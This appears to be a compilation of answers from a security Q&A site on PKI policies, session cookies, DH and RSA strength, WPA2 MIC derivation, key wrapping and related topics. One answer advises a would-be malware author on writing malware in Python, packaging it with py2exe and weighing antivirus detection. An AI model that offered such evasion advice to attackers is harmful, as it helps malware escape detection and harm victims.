The idea behind certificate policies is that a policy applies to the complete certification process, from root down to end-entity, and this is reflected in the certificate by inclusion of the policy OID in all the certificates in the chain. Policies are "vertical". A validator (someone who validates the certificate chain) is supposed to have in its trust store the definition of acceptable policies, on a per-root basis. To picture this in simple words: a typical trust store entry should be something like "I trust this root CA (name+public key) for verifying certificates which comply to policy 1.2.3.4". If the policy 1.2.3.4 does not appear in all certificates in the chain, the validator will reject the chain.

However, in hierarchical PKI like what X.509 supports, it is common to have horizontal isolation: entities which control CA and sub-CA operates at distinct levels and each level has its own requirements and conventions. Therefore, a mechanism for dealing with such level-based changes has been including, and that's the certificate mappings. When a mapping "1.2.3.4 to 1.5.6.7" appears in a CA certificate somewhere in the chain, it means "what was known as policy 1.2.3.4 in the upper levels, is called 1.5.6.7 from this point downwards". Our validator, who initially requires policy 1.2.3.4, takes note that what he should now look for in subsequent certificates is 1.5.6.7.

This process is made more complex by the following characteristics:

You can map one OID to several OIDs.
There is a special OID called "anyPolicy" which is a wildcard: it matches all policies.
Each certificate in the chain can prohibit the anyPolicy, or require an explicit policy from some point in the path.
A lot of widely deployed CA get it completely wrong and use policies as a kind of comment (in particular, they give each CA a single CA-specific policy OID, which the CA includes in its certificate, without any mapping).

So the sad state of affairs is that certificate policies, as currently deployed, do not work as was intended. Trust stores contain only root CA without any set of policies (i.e. all policies are accepted for paths starting with these roots, and no explicit policy is required -- the "policy tree" is allowed to be empty).

Root CA in themselves do not contain policy mappings. They are not real certificates. A root CA, known in the standard as a trust anchor, is the a priori knowledge of a name and associated public key. A pervasive tradition is to encode root CA as certificates, often self-signed (because there is a non-optional "signature" field in a certificate). The certificate format is just convenient for that. However, certificates may contain a lot of features (in particular many extensions) which make no sense for root CA; policy mappings are such features.


How to filter https traffic in mod-security WAF?

Terminate your SSL sessions as the very first thing you do at your reverse proxy / load balancer. Then feed the terminated sessions through your WAF, then to your regular daemon. Basically, you need to add another reverse proxy to the chain.


"Remember me" cookies - did I implement them securely?

You're overcomplicating the solution, and not really gaining much out of it. Others have gone over the flaws with your implementation, but I'll outline a better approach.

When a user chooses to have their authentication remembered across browser sessions, use a CSPRNG to generate a random 128-bit string. Send them this string, then hash it (SHA-2/256 is fine), and store the hash alongside the user record. When the user revisits your site, hash the token they've provided and look up the corresponding user record with that token. When a user explicitly logs out, delete the cookie from the browser and delete the hash of the token from the database.

I'd probably reissue tokens every time a user authenticated with one (e.g., they should be valid for one use only). And store the expiry date alongside the hashed token to ensure its maximum lifespan server-side.


There are two sides to the question:

Perfect Forward Secrecy: by using a "DHE" cipher suite, you actually encrypt the data with regards to a DH private key which never gets stored on any disk. For any given SSL session, the encryption may be cracked if the attacker succeeds at cryptanalysing the public key used for encryption (DH for a DHE cipher suite, RSA for a RSA cipher suite), or if the attacker steals a copy of the private key. The latter occurrence is actually much more probable in practice for a RSA-based cipher suite; and the point of PFS is to remove that threat.
RSA vs Diffie-Hellman: for the time being, the best known methods for breaking RSA and DH entail solving two hard problems, integer factorization and discrete logarithm respectively. It so happens that for both problem, the fastest known algorithm is the General Number Field Sieve (though initially a factorization algorithm, a variant of GNFS can be applied to discrete logarithm). For asymptotic complexity, RSA and DH are thus of equivalent hardness when the DH modulus has the same size as the RSA modulus.

However, in practical term, DH is a tad harder. GNFS includes several phases, the two main being the sieve and then the linear reduction. For a big modulus, the linear reduction becomes the bottleneck because of the sheer size of the matrix. For a given modulus size, you will get the same number of elements in the two matrices (the one for RSA and the one for DH), but the matrix elements are simple bits in the RSA case, vs integers modulo p in the DH case. Thus, the DH matrix is larger.

It won't make n-bit DH as "hard" as 2n-bit RSA, though. If we look at the records, we see 768-bit for RSA, 530-bit for DH; and the DH case used less raw power. Moreover, it is not completely justified to compare the hardness of 1024-bit DH with the hardness of 2048-bit RSA, since both are in the "cannot break it" zone.

A summary of all this goes thus: while 1024-bit DH is somewhat stronger (theoretically) than 1024-bit RSA, the difference is slight (say, 1024-bit DH is like 1200-bit RSA at most). But in practical terms the risk of private key theft, for a non-ephemeral key, dwarfs out any cryptanalytic risk for any RSA or DH of 1024 bits or more; in that sense, PFS is a must-have and DHE with a 1024-bit DH key is much safer than RSA-based cipher suites, regardless of the RSA key size.


What is the the meaning of "out-of-band" in "out-of-band key exchange"?

From Wikipedia:

  Out-of-band is activity outside a defined telecommunications frequency band, or, metaphorically, outside some other kind of activity.

It just means through another means of communication than the one you use to exchange the ciphertexts.

If you are sending the encrypted messages over the internet, calling up the other person on the phone and reading the key to them would be transmitting it "out of band". So would meeting the person IRL and giving them the key or sending it in an ordinary letter.

The point is that you have on (relatively) secure means of communication (where you don't think there is any eavesdropper). You can use this channel to transmit a symmetric key, that you can later use to communicate securely on an insecure channel (where there might be eavesdroppers).


How should I implement FIDO UAF architecture?

You can test your client with FIDO UAF Conformance Testing tools (https://fidoalliance.org/certification/conformance/), you need to register first. You can also test with your own server, eBay has an open source UAF server on Github.
I think the server will not know if an UAF client was installed unless the client sends an UAF request, however your client needs to match the policy within the UAF request.
The communication between server and client is through HTTP. If you talked about the communication between client and authenticator, then you have implement ASM API


How long can I store personal information on unconfirmed subscriptions?

For the US, there are no legal requirements that I know of.  I do not know European law and cannot advise you on that.

I would suggest giving the person, say, 14 days to respond.  If the person does not respond within 14 days, delete their email address.  If you haven't heard from them within 14 days, you're probably not going to hear from them.  And for odd corner cases, people can always go back and re-subscribe to start the process all over again, if necessary.


How can digital signatures assure the sender their message has been correctly received?

PKI ensure that if the message reaches its destination it has not been altered (if signed with sender private key) and/or has not be compromissed (if crypted with recipient public key).
If the sender wants to make sure that the recipient has actually received the message, a higher level protocol must be used. For example the recipient could send a signature of the original (optionaly decrypted) message using their private key. So if the round trip:
A -> message signed with A private key -> B
A <- signature of the original message with B private key <- B

completes, then A can be sure that B has received the correct message.
If you do not set up that round trip, even with modern system where the sender can be sure that the message reaches the recipient system, you have no protection against the message being destroyed between its arrival on a machine and the moment when the human being named B could read it.
This would be more or less an implementation of what was the QSL in the early days of radio frequency message (mainly using Morse code). BTW that QSL was still in use in the 80's to ensure that a message had been received and understood (*): until the sender had not received a QSL to message number xxx they periodically try to send it again or try a phone call to know whether the recipient system was off or out of use (at least at French Met Office).

(*) as QSL to message ... had to be manually sent, it meant that somebody could read the message number and declared having understanded the full message.


How is the MIC (message integrity code) generated in WPA2?

According to https://www.shellvoide.com/wifi/understanding-wpa-wpa2-hash-mic-cracking-process-python/, the MIC is computed on each message as an HMAC using the Key Confirmation Key (KCK) as the key, the message payload as the body, and the SHA1 hashing algorithm (in WPA2; WPA1 used the MD5 hashing algorithm).
MIC = HMAC_SHA1(KCK, payload)

The KCK is a portion (first 16 bytes) of the Pairwise Transient Key (PTK). The PTK is computed using a custom pseudo-random function (PRF) itself based on iterated HMAC-SHA1 using the PMK (Pairwise Master Key) as the key, and the payload incorporating various constants plus MAC addresses of client and access point (AP) and the client and AP nonces. See the linked article for an implementation of the custom PRF and its constants. The PMK is 32 bytes computed using PBKDF2 (Password-Based Key Derivation Function 2) with the pre-shared key (PSK, the password in plain text) as the password and the SSID as the salt, 4096 iterations, and the HMAC-SHA1 hashing algorithm.
KCK = PTK[0:16]
PTK = CustomPRF(PMK, "Pairwise key expansion", SUM(CL_MAC, AP_MAC, SNONCE, ANONCE))
PMK = PBKDF2(PSK, SSID, 4096, HMAC_SHA1)[0:32]

As such, the MIC is computed by hashing (using SHA1, for WPA2) the message body with the KCK appended and prepended (that being the HMAC construction). The following fields all go into computing the MIC:

The message body
The PTK, which is based on:

The MACs of the client and AP
The nonces of the client and AP
The PMK, which itself is based on:

The PSK (password)
The SSID


Just to summary the discussion:

you need to know what kind of attacks you want to protect keys against. As we discussed you correctly mentioned pros and cons of both solutions.

I recommended to mix them up so you will use two keys - KEK (key encryption key) and DEK (data encryption key). You will have just one KEK and as many DEKs as of data stored in the database.

When you will be storing the data to the DB you will generate DEK, encrypt the data with the DEK, encrypt the DEK with KEK and store the encrypted DEK together with the data in the database. For reading, you will get data and encrypted DEK from the DB, you use KEK to decrypt DEK and DEK to decrypt the data.

DEK is supposed to be used only in memory of the application. It should not be never stored unencrypted anywhere else. And you should take care of its secure disposal from the memory immediately once it is not needed (i.e. rewrite byte buffer with zeroes and release it - be careful about strings as those are usually immutable).

The correct way of storing and using the KEK should be storing and using it inside of the HSM (KMS) in order it can't be revealed by somebody, even by server / application administrators.

The dark side of it is probably the AWS KMS price. If you would store it in config it can potentially stolen by attacker and later used decrypt the database dump. But ye, you are probably not securing an army site ;)

It is also necessary to mention that if you will ever need to change the KEK you have to re-encrypt all DEKs stored in the DB.


What measures beyond those for general software, if any, should be taken when preparing a work PC for lunchtime or after-hour gaming?

Separate off network pc for gaming.
Or a video console off network and not a pc.

No gaming on corporate network.

Downloading games is risky, lots of backdoored bootleg copies of games that can put your whole company at risk.

Also keygens and license bypass tools are riddled with malware too.

Also game chat rooms are littered with social engineering , phishing links , etc that will lead to a breach.


Are my credentials unsafe if I am already logged-in before connecting to a public network?

If you are using GMail or Yahoo all credentials should be transmitted over HTTPS and there for you are safe.   If you where connecting to http://security.stackexchange.com or StackOverflow over an open  WiFi network then someone is able to sniff your cookie and immediately login as you.  This is because StackOverflow and secuirty.se are violating OWASP a9.  Firesheep automates this attack by sniffing WiFi looking for http cookies to hijack.


About writing tools like this SYNFlood, python is as good as any other language you feel comfortable with. There is an excellent book called "Violent Python" where you will learn to write security auditing tools and malwares. From network scanners, login bruteforcers, FastFlux behavior to mimicking botnet functionalities, you will learn a lot about them.

Writing malware in python can make your life easier (in a part) as it is very quick and easy to code. Python is really an uncommon choice for viruses and the like because it needs an installed interpreter to run. You may overcome that by turning the script into a windows executable using available tools (like py2exe), but that tends to produce big executables (maybe 5MB, depending on the imported modules) and as malware tend to survive on its subtlety, it may be spotted sooner than you expect, not only because of executable size but also memory footprints.

Compiled python scripts can be turned back to its script form with great ease, using modules like uncompyle2. Once it is found, that will allow the malware analyst to quickly know what it does, how it does, where the command and control servers are, etc., making it extremely fast to uncover your whole operation and reducing the effectiveness of your malware as AV vendors push your signature into their products.

On the other side, as someone said in this reddit post about a Bluecoat report (linked below), AV detection rate for scripted languages tend to be low, as many installers use them to deploy softwares.

Doing some more research, i heard about the Flame malware and according to the article, it was 20MB in size, including libraries, sqlite databases and all. So, size may not be "that great burden" after all...

Here is a report from the security company Bluecoat about a python malware that relates to the Hangover operation in 2013.

Most malware are written using C/C++/C#, VB, Assembly, .NET, etc., but that is not a law. These languages have advantages, but also does python. Everything depends on your goal. Balance what you want with what you need and take your shot with what feels the best option to fulfill them.


You could store the session privilege level in a stack. When the admin becomes user you push a new token on the stack saying "I'm user now". The "back" function is just a pop from the stack. You could store session tokens in the server session and just delete/reset relevant cookies when someone changes from one level to another.
When going for this approach, be careful with not mixing the access levels. E.g. if admin sessions have a shorter lifetime than ordinary users make sure the admin session is killed in case the "back to admin" happens before the user lifetime ends but after the admin lifetime has ended. There might be tons of other implications, so think thoroughly before taking this into production. One is that in logging and auditing files you might want to log the user's actions for your case as "Somthing done by admin on behalf of user ABC" and not as "Something done by user ABC".


What is the definition for different access attributes in object access auditing?

All attributes can be seen here under "Permissions for files and folders" on Microsoft technet documentation:

Permissions for files and folders

The only attribute that is not there is the Full control which upon selecting will check all the rest of the attributes which is the detention of full control.

  Also, in the logs, event ID 4663 the Accesses fields gives more different values.

These are the names of the attributes in the registry.


Mitigating the loss of a mobile phone used for second-factor login

What I can say, generally, is that you should not have a single point of failure. Be it your mobile phone (can be lost, damaged, stolen), some other computer or device (can be damaged), a piece of paper (can be lost, damaged) or even your memory (can forget things, especially if not used too often).

Just like passwords usually have fallbacks for recovery (ex.: having a password reset link sent to an alternate e-mail address), your 2nd factor authentication should also do the same, and if there's nothing built-in you'll have to make your own. Easier said than done, true, since every additional "step" solves one problem but introduces a new one (ex.: if I forget my e-mail password, I can reset it using an alternate one, but now I also need a fallback for my alternate e-mail password).

Your problem, IMHO, is that you created a "closed loop" in your fallback strategy: to access your e-mail you need your password manager, and to recover access to your password manager you need your e-mail. When planning the recovery of LastPass, you can't count on things that are dependent on having access to LastPass...

I don't think there's a one-size-fits-all solution to mitigate this problem, and all your suggestions are valid ones depending on the circumstances. Personally, here's how I protect my GMail account (I don't use password managers yet, so the e-mail password is commited to my memory):

My personal (desktop) computer is marked as "trusted", so it doesn't require codes and only asks for my password once in a while (each 30 days, I think);
My Android device has Google Authenticator, but to open it (or to open the GMail app itself, for that matter - or the whole 2-factor thing would be pretty pointless...) I need to provide a PIN for an App Blocker (so even if someone gains access to my phone he can't read my e-mail).
There's an alternate phone number registered, so an SMS can be sent to it if I can't use mine.

That protects me from most "catastrophic" scenarios:

If I forget my password and my phone is lost at the same time, I can still access GMail from my desktop (recovering administrative access is a bit trickier).
If I forget my password and my desktop is broken at the same time, I can still access GMail from my phone (assuming I can still remember the PIN - something I use often).
If my desktop is broken and my phone lost at the same time, I can still use my password and the SMS to the alternate phone to access GMail from another machine.

While retaining the 2-factor property at all levels:

To access my desktop, I need physical access to it and my login credentials;
To access my phone, I need physical access to it and my PIN;
To access my e-mail from somewhere else, I need physical access to a phone (either primary or alternate) and my password.

(Note: strictly speaking, only physical access is required in the first two cases, if a skillful and silent/quick attacker is involved, but that's beyond the scope of this answer)


If the REST API purely returns JSON (and never HTML) then do the HTML escaping client-side, in JavaScript.

Whether the client's HTML page uses JQuery templating, or builds up HTML with calls to functions like .html() neither of these by default have XSS protection. One approach is for the client code to explicitly call an escaping function on all untrusted input. However, an approach I prefer is to use a JQuery plugin that does automatic escaping. Here are two approaches for this:

Making JQuery templates safe against HTML injection
Safe version of jQuery’s .html()

People may criticise this approach, saying "you can't rely on client-side control for security". That criticism is based on misunderstanding; in this particular instance you can rely on it.

It's notable that AngularJS includes automatic escaping by default. If they wrote JQuery from scratch today, I expect JQuery would also include this.

One of the reasons not to do HTML escaping in the REST API is that you may have a non-HTML client consuming the API. In that case you definitely don't want HTML escaping to be applied.

It is important you return JSON using the correct Content-Type header (application/json) to avoid API misuse attacks.


If you revoke a certificate authority's certificate, do all of the certificates it issued become invalid as well?

CA A revokes CA B, does certificate C become invalid?

Yes, revocation cascades down to the tree. If CA certificate is revoked, all certificates below (regardless of how many levels are below CA) are implicitly considered untrusted. Keep in mind that they become *untrusted*, not revoked.

  CA A gets revoked (somehow), does its revocation cascade all the way down the chain such that certificate C is now invalid as well?

Root CA revocation is an undefined operation within RFC5280. In this case, the CA puts its certificate (serial number) in its own CRL and signs with its own key. And now we have a chicken-egg problem:

The CA cert is revoked (listed in CRL), but the CRL is signed with a revoked key, so we can't trust this CRL and get a definitive answer about whether the root certificate is revoked. This problem is often solved by not checking root CA revocation using RFC5280  techniques. For example, in Microsoft's certificate chaining engine default configuration, root CA certificates are not checked for revocation at all.

Such cases (root CA revocation) are handled differently, using OOB processes, by maintaining a list of explicitly trusted anchors (root certificates) and removing a bad CA cert from the list.


What do I need to do when Facebook says: "Your computer needs to be cleaned"?

The message means that Facebook has received some unusual requests from your computer, like for example a large number of attempts to guess passwords for different accounts or attempts to post spam. So Facebook assumes that you have some kind of malware on your computer and recommends you to install a malware scanner to get rid of it. For more information check this article on facebook.com.

F-Secure and Trend Micro are quite well-known malware scanners, but not particularly better or worse than all the others on the market. Why does Facebook recommend those two? Only they know. Maybe they have an advertising deal, or maybe some admins at Facebook just like them. Whatever reason, when you don't trust the links provided by Facebook and don't trust my links either, just look up their websites in your preferred search engine.

However, Facebook can not know what kind of malware exactly you have on your computer, so there is no guarantee that these scanners will be able to find and clean it. And we have even less information about what malware you could have than Facebook does, so we can not offer you any advise except the usual procedure which will work on almost any malware: Format your computers hard drives, reinstall the operating system from scratch and restore your personal data from your backups. You do have backups, don't you?